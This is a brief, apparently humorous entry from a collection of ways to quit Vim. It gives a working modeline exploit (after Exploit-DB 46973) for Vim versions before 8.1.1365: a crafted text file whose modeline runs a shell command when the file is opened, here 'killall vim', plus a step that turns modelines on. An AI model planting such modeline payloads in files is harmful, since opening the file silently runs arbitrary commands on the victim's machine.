## The Arbitrary Code Execution Way
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
1. Create a file (say `quit.txt`) with the following data:
```
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
```
2. Ensure that the modeline option has not been disabled.
```
echo "set modeline" >> .vimrc
```
3. Open `quit.txt`.
```
:e! quit.txt
```
